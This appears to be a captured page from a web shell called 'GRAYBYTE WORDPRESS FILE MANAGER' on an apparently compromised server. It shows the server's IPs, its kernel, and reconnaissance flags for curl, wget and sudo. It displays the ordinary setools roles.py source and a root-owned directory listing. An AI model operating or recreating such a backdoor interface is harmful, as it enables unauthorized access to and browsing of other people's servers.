✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/lib64/python3.9/site-packages/setools/diff//roles.py
# Copyright 2015, Tresys Technology, LLC
# Copyright 2018, Chris PeBenito <pebenito@ieee.org>
#
# SPDX-License-Identifier: LGPL-2.1-only
#
from collections import defaultdict
from typing import NamedTuple, Set

from ..policyrep import Role, Type

from .descriptors import DiffResultDescriptor
from .difference import Difference, SymbolWrapper
from .typing import SymbolCache
from .types import type_wrapper_factory

_roles_cache: SymbolCache[Role] = defaultdict(dict)


class ModifiedRole(NamedTuple):

    """Difference details for a modified role."""

    added_types: Set[Type]
    removed_types: Set[Type]
    matched_types: Set[Type]


def role_wrapper_factory(role: Role) -> SymbolWrapper[Role]:
    """
    Wrap roles from the specified policy.

    This caches results to prevent duplicate wrapper
    objects in memory.
    """
    try:
        return _roles_cache[role.policy][role]
    except KeyError:
        r = SymbolWrapper(role)
        _roles_cache[role.policy][role] = r
        return r


class RolesDifference(Difference):

    """Determine the difference in roles between two policies."""

    added_roles = DiffResultDescriptor("diff_roles")
    removed_roles = DiffResultDescriptor("diff_roles")
    modified_roles = DiffResultDescriptor("diff_roles")

    def diff_roles(self) -> None:
        """Generate the difference in roles between the policies."""

        self.log.info(
            "Generating role differences from {0.left_policy} to {0.right_policy}".format(self))

        self.added_roles, self.removed_roles, matched_roles = self._set_diff(
            (role_wrapper_factory(r) for r in self.left_policy.roles()),
            (role_wrapper_factory(r) for r in self.right_policy.roles()))

        self.modified_roles = dict()

        for left_role, right_role in matched_roles:
            # Criteria for modified roles
            # 1. change to type set, or
            # 2. change to attribute set (not implemented)
            added_types, removed_types, matched_types = self._set_diff(
                (type_wrapper_factory(t) for t in left_role.types()),
                (type_wrapper_factory(t) for t in right_role.types()))

            if added_types or removed_types:
                self.modified_roles[left_role] = ModifiedRole(added_types,
                                                              removed_types,
                                                              matched_types)

    #
    # Internal functions
    #
    def _reset_diff(self) -> None:
        """Reset diff results on policy changes."""
        self.log.debug("Resetting role differences")
        self.added_roles = None
        self.removed_roles = None
        self.modified_roles = None

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
17 Jan 2026 3.14 PM
root / root
0755
__pycache__
--
17 Jan 2026 3.14 PM
root / root
0755
__init__.py
2.524 KB
7 Dec 2023 3.49 PM
root / root
0644
bool.py
2.428 KB
7 Dec 2023 3.49 PM
root / root
0644
bounds.py
3.693 KB
7 Dec 2023 3.49 PM
root / root
0644
commons.py
2.147 KB
7 Dec 2023 3.49 PM
root / root
0644
conditional.py
1.227 KB
7 Dec 2023 3.49 PM
root / root
0644
constraints.py
8.199 KB
7 Dec 2023 3.49 PM
root / root
0644
context.py
1.361 KB
7 Dec 2023 3.49 PM
root / root
0644
default.py
3.539 KB
7 Dec 2023 3.49 PM
root / root
0644
descriptors.py
1.038 KB
7 Dec 2023 3.49 PM
root / root
0644
difference.py
5.359 KB
7 Dec 2023 3.49 PM
root / root
0644
fsuse.py
2.49 KB
7 Dec 2023 3.49 PM
root / root
0644
genfscon.py
2.655 KB
7 Dec 2023 3.49 PM
root / root
0644
ibendportcon.py
2.579 KB
7 Dec 2023 3.49 PM
root / root
0644
ibpkeycon.py
2.592 KB
7 Dec 2023 3.49 PM
root / root
0644
initsid.py
1.954 KB
7 Dec 2023 3.49 PM
root / root
0644
mls.py
9.909 KB
7 Dec 2023 3.49 PM
root / root
0644
mlsrules.py
4.547 KB
7 Dec 2023 3.49 PM
root / root
0644
netifcon.py
3.054 KB
7 Dec 2023 3.49 PM
root / root
0644
nodecon.py
2.591 KB
7 Dec 2023 3.49 PM
root / root
0644
objclass.py
3.082 KB
7 Dec 2023 3.49 PM
root / root
0644
polcap.py
1.095 KB
7 Dec 2023 3.49 PM
root / root
0644
portcon.py
2.57 KB
7 Dec 2023 3.49 PM
root / root
0644
properties.py
1.777 KB
7 Dec 2023 3.49 PM
root / root
0644
rbacrules.py
6.4 KB
7 Dec 2023 3.49 PM
root / root
0644
roles.py
2.662 KB
7 Dec 2023 3.49 PM
root / root
0644
terules.py
24.091 KB
7 Dec 2023 3.49 PM
root / root
0644
typeattr.py
2.796 KB
7 Dec 2023 3.49 PM
root / root
0644
types.py
4.171 KB
7 Dec 2023 3.49 PM
root / root
0644
typing.py
0.447 KB
7 Dec 2023 3.49 PM
root / root
0644
users.py
5.353 KB
7 Dec 2023 3.49 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF